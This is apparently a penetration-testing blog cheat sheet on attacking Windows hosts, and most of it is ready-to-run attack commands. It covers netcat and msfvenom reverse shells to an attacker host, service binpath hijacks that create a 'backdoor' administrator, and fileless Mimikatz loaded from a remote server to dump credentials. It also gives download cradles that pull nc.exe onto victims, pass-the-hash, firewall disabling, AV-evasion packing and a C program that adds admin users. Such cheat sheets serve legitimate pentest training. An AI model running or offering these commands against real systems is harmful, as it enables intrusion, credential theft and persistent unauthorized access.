Windows Attack Anatomy

windows attack
Windows-PentestingAll Blog
  • Incorrect permissions in services
  • Find unquoted paths
  • ClearText passwords
  • Pass the hash
  • AlwaysInstallElevated
  • Port Forwarding
  • Vulnerable drivers
  • Kernal Exploits
  • Automated tools
    • Powersploit
    • Metasploit Incognito
    • Rottenpotato
    • Tater
    • Mimikatz
    • Empire
  • File Transfer
  • Enable RDP Access
  • Disable Firewall
  • Privilege Checker
  • Reverse shells
  • AV Bypass
  • Print Spoof
  • Access Check
  • Hashes

If you are new to this blog Kindly go through Following link First

RCE to shell

Getting a shell in limited interpreters:

$ system("start cmd.exe /k $cmd")

Bind cmd to a port:

$ nc.exe -Lp 31337 -vv -e cmd.exe

Reverse shell:

$ nc.exe attacker_ip attacker_port -e cmd.exe

Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group. More info about permissions:

https://msdn.microsoft.com/en-us/library/bb727008.aspx

Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and restart the service running:

$ wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
$ sc start/stop serviceName

The following commands will print the affected services:

$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

If wmic is not available we can use sc.exe:

$ sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

You can also manually check each service using cacls:

$ cacls "C:\path\to\file.exe"

If you don’t have access to wmic, you can do:

$ sc qc upnphost

Windows XP SP1 is known to be vulnerable to EoP in upnphost. You get Administrator with:

$ sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe YOUR_IP 1234 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost

If it fails because of a missing dependency, run the following:

$ sc config SSDPSRV start= auto
net start SSDPSRV
net start upnphost

Or remove the dependency:

$ sc config upnphost depend= ""

Using meterpreter:

> exploit/windows/local/service_permissions

If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:

https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
$ accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula
$ accesschk.exe -qdws Users C:\Windows\

Then query the service using Windows sc:

$ sc qc <vulnerable service name>

Then change the binpath to execute your own commands (restart of the service will most likely be needed):

$ sc config <vuln-service> binpath= "net user backdoor backdoor123 /add"
$ sc stop <vuln-service>
$ sc start <vuln$ -service>
$ sc config <vuln-service> binpath= "net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>

Note – Might need to use the depend attribute explicitly:

$ sc stop <vuln-service>
sc config <vuln-service> binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\LocalSystem" password= ""
sc start <vuln-service>

Find unquoted paths

If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every whitespace, to find the binary in every intermediate folder.

For example, the following path would be vulnerable:

C:\Program Files\something\winamp.exe

We could place our payload with any of the following paths:

C:\Program.exe
C:\Program Files.exe

The following command will display affected services:

$ wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

We might even be able to override the service executable, always check out the permissions of the service binary:

$ icacls "C:\Program Files (x86)\Program Folder"

You can automate with meterpreter:

> exploit/windows/local/trusted_service_path

ClearText passwords

We might sometimes find passwords in arbitrary files, you can find them running:

$ findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

Find all those strings in config files.

$ dir /s *pass* == *cred* == *vnc* == *.config*

Find all passwords in all files.

$ findstr /spin "password" *.*
$ findstr /spin "password" *.*

These are common files to find them in. They might be base64-encoded. So look out for that.

$ type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
$ dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini

Stuff in the registry:

$ reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

Search for password in registry

$ reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Using meterpreter:

> post/windows/gather/credentials/gpp
> post/windows/gather/enum_unattend

Pass the hash

Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.

Windows hash format:

user:group:id:ntlmpassword::

You can do a hash dump in the affected system running:

wce32.exe -w
wce64.exe -w
fgdump.exe

Download and run fgdump.exe on the target machine.

 $ cd /usr/share/windows-binaries/fgdump; python -m SimpleHTTPServer 80
$ pth-winexe -U DOMAIN/user%hash //$ip cmd

or:

export SMBHASH=xxx
$ pth-winexe -U user%  //$ip cmd

You can also do run as, with the hash:

Technique 1:

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Technique 2:

$ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$ computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
$ powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1

Technique 3:

$ psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc <attacker_ip> 4444 -e cmd.exe"

Services only available from loopback | PortForwording

You can find services bind to the loopback interface that are not reachable through the network running.look for LISTENING/LISTEN:

netstat -ano

Port forward using plink

$ plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080

Port forward using meterpreter

$ portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r 192.168.1.101

If PowerShell is blocked, you can download:

https://github.com/Ben0xA/nps

Once you know the updates installed, you can find known exploits using windows-exploit-suggester.

$ ./windows-exploit-suggester.py -d 2017-02-09-mssb.xls -p ms16-075
[*] initiating winsploit version 3.2…
[*] database file detected as xls or xlsx based on extension
[*] searching all kb’s for bulletin id MS16-075
[+] relevant kbs [‘3164038’, ‘3163018’, ‘3163017’, ‘3161561’]
[*] done

Compile windows exploit in Linux:

$ i686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exe

Compiling python scripts to executables:

$ wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile 18176.py

AlwaysInstallElevated

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

Check if these 2 registry values are set to “1”:

$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If they are, create your own malicious msi:

$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi

Then use msiexec on victim to execute your msi:

$ msiexec /quiet /qn /i C:\evil.msi

Metasploit module:

> use exploit/windows/local/always_install_elevated

Vulnerable drivers

Third-party drivers might contain vulnerabilities, find them running:

$ DRIVERQUERY

Kernel vulnerabilities

Run exploit suggester against system info:

https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
$ python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt

Find installed paths:

$ wmic qfe get Caption,Description,HotFixID,InstalledOn

Comprehensive tables of vulnerabilities below:

eDB   Vuln Name         MS#     2K       XP     2003    2008      Vista      7
271   Lsasrv.dll    MS04-011  SP2,3,4  SP0,1    -       -        -         -
350   Util Manager  MS04-019  SP2,3,4  -        -       -        -         -
351   POSIX         MS04-020  SP4      -        -       -        -         -
352   Univ lang. UtilMS04-019   -      SP2,3,4  -       -        -         -
355   Univ lang. UtilMS04-019   -       SP2,3,4  -       -       -         -
1149  PnP Service    MS05-039  P4      SP2      SP1     -        -         -
1197  keybd_event    -         all      all      all     -        -         
1198  CSRSS          MS05-018  SP3,4   SP1,2    -       -        -         -
1407  Kernel APC     MS05-055  SP4      -        -       -       -         -
1911  Mrxsmb.sys     MS06-030  all     SP2      -       -        -         -
2412  Windows Kernel MS06-049  SP4      -        -       -       -         -
3220  Print spool    -         -       All      -       -        -         -
5518  win32k.sys    MS08-025  SP4      SP2      SP1,2   SP0    SP0,1       -
6705  Churrasco     MS09-012  -        -        All     -        -         -
6705  Churraskito   -         -        All      All     -        -         -
21923 Winlogon      -         All      All      -       -        -         -
11199 KiTrap0D       MS10-015  All        All     All      All       All
14610 Chimichurri    MS10-059  -        -             All      All       SP0
15589 TaskScheduler MS10 092  -        -        -       SP0,1,2  SP1,2    
18176 AFD.Sys       MS11-080  -        SP3      SP3     -        -         -
100   RPC DCOM      MS03-026  SP3,4    -        -       -        -         -
103   RPC2          MS03-039  all (CN) -        -       -        -         -
109   RPC2          MS03-039  all      -        -       -        -         -
119   Netapi        MS03-049  SP4      -        -       -        -         -
3022  ASN.1         MS04-007  SP2,3,4  SP0,1    -       -        -         -
275   SSL BOF       MS04-011  SP4      ?        -       -        -         -
295   Lsasarv.dll   MS04-011  SP2,3,4  SP0,1    -       -        -         -
734   NetDDE BOF    MS04-031  SP2,3,4  SP0,1    -       -        -         -
1075  Messaging QueueMS05017  SP3,4    SP0,1    -       -        -         -
1149  PnP Service   MS05-039  SP4      -        -       -        -         -
2223  CP            MS06040  -        SP1      -       -        -         -
2265  NetIPSRemote   MS06-040  SP0-4    SP0,1    -       -        -         -
2789  NetPManageIP   MS06-070  SP4      -        -       -        -         -
7104  Service exec   MS08-067  SP4      SP2,3   SP1,2   SP0      SP0,1     -
7132  Service exec   MS08-067  SP4      -        SP2     -        -        -
14674 SRV2.SYS SMB   MS09-050  -       -         -       -        SP1,2    -
   MS*           HotFix                         OS
MS16-032     KB3143141    Windows Server 2008 ,7,8,10 Windows Server 2012
MS16-016        KB3136041    Windows Server 2008, Vista, 7 WebDAV
MS15051  KB3057191     Windows Server 2003, Windows Server 2008, Windows 7, Windows 8, Windows 2012
MS14058     KB3000061    Windows Server 2003, Windows Server 2008, Windows Server 2012, 7, 8 Win32k.sys
MS14040  KB2975684     Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS14-002     KB2914368     Windows XP, Windows Server 2003
MS13-005     KB2778930    Windows Server 2003, Windows Server 2008, 7, 8,
MS10-092     KB2305420     Windows Server 2008, 7
MS10-015     KB977165     Windows Server 2003, Windows Server 2008, 7, XP
MS14-002     KB2914368    Windows Server 2003, XP
MS15061     KB3057839    Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS11-080     KB2592799    Windows Server 2003, XP
MS11-062     KB2566454    Windows Server 2003, XP
MS15076     KB3067505    Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS16075     KB3164038    Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS15-010     KB3036220    Windows Server 2003, Windows Server 2008, 7, XP
MS11-046     KB2503665    Windows Server 2003, Windows Server 2008, 7, XP
MS11-011 (KB2393802)
MS10-059 (KB982799)
MS10-021 (KB979683)
MS11-080 (KB2592799)

Exploits worth looking at MS11-046

https://github.com/SecWiki/windows-kernel-exploits

Windows version map

Operating System     Version Number

Windows 1.0                    1.04
Windows 2.0                    2.11
Windows 3.0                    3
Windows NT 3.1                 3.10.528
Windows for Workgroups 3.11    3.11
Windows NT Workstation 3.5     3.5.807
Windows NT Workstation 3.51    3.51.1057
Windows 95                     4.0.950
Windows NT Workstation 4.0     4.0.1381
Windows 98                     4.1.1998
Windows 98 Second Edition      4.1.2222
Windows Me                     4.90.3000
Windows 2000 Professional      5.0.2195
Windows XP                     5.1.2600
Windows Vista                  6.0.6000
Windows 7                      6.1.7600
Windows 8.1                    6.3.9600
Windows 10                     10.0.10240

Automated tools

Powersploit

https://github.com/PowerShellMafia/PowerSploit
Get-GPPPassword
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon

Powershell Mimikatz

The Powershell version is not as frequently updated but can be loaded into memory without ever hitting the HDD (Fileless execution). This version simply reflectively loads the Mimikatz binary into memory so we could probably update it ourselves without much difficulty.

wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1

Fileless execution of Mimikatz from remotely hosted server:

PS C:\> IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

Empire

https://enigma0x3.net/2016/01/28/an-empire-case-study/

Metasploit

post/windows/gather/credentials/gpp
post/windows/gather/enum_unattend
getsystem
getprivs
use priv
hashdump

Metasploit incognito

use incognito
list_tokens -u
list_tokens -g
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID
drop_token
rev2self

Tater / HotPotato

https://github.com/Kevin-Robertson/Tater

There is an alternative option which simulates the Hot Potato exploit in PowerShell and is called Tater. This script is included in Empire, P0wnedShell and PS>Attack and it has two methods to perform privilege escalation.

  1. NBNS WPAD Bruteforce + Windows Defender Signature Updates
  2. WebClient Service + Scheduled Task

This script has been tested in Windows 2008 Server R2 environments however it doesn’t seem to work reliably as in Windows 7 and Windows 1

Rotten Potato | MS 16-075

https://github.com/foxglovesec/RottenPotato

https://github.com/breenmachine/RottenPotatoNG

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

Useful commands

Add a new user

$ net user test 1234 /add
$ net localgroup administrators test /add

Print files contents:

$ type file

Remove file

$ del /f file

Change password for user:

$ net user <user> <password>

List users:

$ net user

Info about a user:

$ net user <username>

Permissions on a folder recursively:

$ cacls *.* /t /e /g domainname\administrator:f

tasklist or wmic process or tasklist /svc

Enable RDP access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Disable firewall

$ netsh firewall set opmode disable

Transferring files

Paste the following code to get nc in the victim:

echo open <attacker_ip> 21> ftp.txt
echo USER offsec>> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
nc.exe <attacker_ip> 1234 -e cmd.exe

Bounce port scanning

$ nc $ip 21
220 Femitter FTP Server ready.
USER anonymous
331 Password required for anonymous.
PASS foo
230 User anonymous logged in.
PORT 127,0,0,1,0,80
200 Port command successful.
LIST

Nice trick to share folders with RDP:

$ rdesktop (ip) -r disk:share=/home/bayo/store

With PowerShell:

$ powershell -c "(new-object System.Net.WebClient).DownloadFile('http://YOURIP:8000/b.exe','C:\Users\YOURUSER\Desktop\b.exe')"

Paste the following block in a command line to get a web client:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Run with:

$ cscript wget.vbs http://<attacker_ip>/nc.exe nc.exe

Privilege Checker

Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions

$ exploit/windows/local/service_permissions

Other scripts

https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/Jean13/Penetration_Testing/blob/master/Privilege_Escalation/windows-privesc-check2.exe

Reverse Shells

Generate PHP reverse shell:

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker_ip> -o meterpreter.php
msfvenom -p generic/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f php -o shell.php

Others

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

Generate shellcode to use within a Perl exploit:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=<attacker_ip> LPORT=443 -f perl -b \x00\x0A\x0D\xFF

Raw payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f raw -o test.bin

Js payload:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker_ip> LPORT=443 -f js_le

Handling reverse shell using meterpreter:

msf > use exploit/multi/handler
msf > set lport 1234
msf > set lhost <attacker_ip>
msf > set payload windows/shell/reverse_tcp
msf > run

Other payloads:

set PAYLOAD windows/meterpreter/reverse_tcp
set PAYLOAD generic/shell_reverse_tcp
set PAYLOAD linux/x86/meterpreter/reverse_tcp

Privilege escalation

getsystem
hashdump

Useful exploits

Windows Server 2003 and IIS 6.0 WEBDAV Exploiting

 http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html

msfvenom -p windows/shell/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt

CREATE PAYLOAD WITH MSFVENOM:-

USE CADAVER TO UPLOAD SHELL AND MODIFY

cadavar http://$ip dav:/> put aspshell.txt Uploading aspshell.txt to `/aspshell.txt': Progress: [=============================>] 100.0% of 38468 bytes succeeded.

dav:/> copy aspshell.txt aspshell3.asp;.txt Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded. dav:/> exit

OPEN MULTI HANDLER IN METASOPLOIT:-

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/shell/reverse_tcp

msf exploit(handler) > set LHOST 1.2.3.4

msf exploit(handler) > set LPORT 80

msf exploit(handler) > set ExitOnSession false

msf exploit(handler) > exploit -j

NEW TAB TYPE

curl http://$ip/aspshell3.asp;.txt

BOOM GOT A SHELL IN METASPLOIT !!!

Windows privilege escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.

pip install pyinstaller

wget -O exploit.py http://www.exploit-db.com/download/31853

python pyinstaller.py --onefile exploit.py

MS16-032 https://www.exploit-db.com/exploits/39719/

You may find that some Windows privilege escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the PowerShell prompt. Once the PowerShell script is uploaded to the server, here is a quick one-liner to run a PowerShell command from a basic (cmd.exe) shell

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"

Windows Server 2003 and IIS 6.0 privilege escalation using impersonation:

https://www.exploit-db.com/exploits/6705/
https://github.com/Re4son/Churrasco
$ c:\Inetpub>churrasco
 churrasco
 /churrasco/-->Usage: Churrasco.exe [-d] "command to run"

 c:\Inetpub>churrasco -d "net user /add <username> <password>"
 c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"

Windows MS11-080

http://www.exploit-db.com/exploits/18176/

$ python pyinstaller.py --onefile ms11-080.py
$ mx11-080.exe -O XP

Windows MS17-017

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017

https://github.com/sensepost/gdi-palettes-exp

https://www.exploit-db.com/exploits/42432

Eternal Blue

https://www.exploit-db.com/docs/42329

https://github.com/3ndG4me/AutoBlue-MS17-010

https://github.com/worawit/MS17-010

BlueKeep-exploit

https://github.com/TinToSer/bluekeep-exploit

Windows XP -NETAPI

https://github.com/andyacer/ms08_067

https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py

Windows XP -Dcom

https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS03-026/66.c

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS03-026

CVE 2017-0213 –  COM Elevation of Privilege Vulnerability

https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213

CVE 2107-5724 and CVE 2017-5715

https://github.com/Viralmaniar/In-Spectre-Meltdown

https://github.com/stormctf/Meltdown-PoC-Windows

Other Useful Exploits





From admin to system

psexec.exe -i -s %SystemRoot%\system32\cmd.exe

AV bypass

Generating a mutated binary to bypass antiviruses

$ wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe

Print proof

$ echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: &  type "C:\Documents and Settings\Administrator\Desktop\proof.txt"

Access Check

You will probably need to accept the eula first:

$ accesschk.exe /accepteula


acceschk.ece  -qwcu "Authenticated USers" *  or c:\
Accesschk.exe -qwcu "Users"  *
Accesschk.exe -qwcu "Everyone" *

Windows hashes

NTLM and LM passwords are located in the SAM file in C:\\Windows\SYSTEM32\CONFIG

LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the keyspace is small (only uppercase, not salted, 14 chars or padded to 14).

NTLM/NTLM2: It does not split the password, also stored in uppercase

Kerberos: Default protocol for active directory envs.PoCs

Add user to administrator group

#include <stdlib.h>
int main ()
{
    int i;
    i = system("net localgroup administrators theusername /add");
    return 0;
}
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

Run an arbitrary command:

echo -e '#include <stdio.h>\n#include <smain () {\nsystem("C:\\Users\\Administrator\\Desktop\\nc -lvp 4313 -e cmd.exe");\nreturn(0);\n}'> poc.c

References : –

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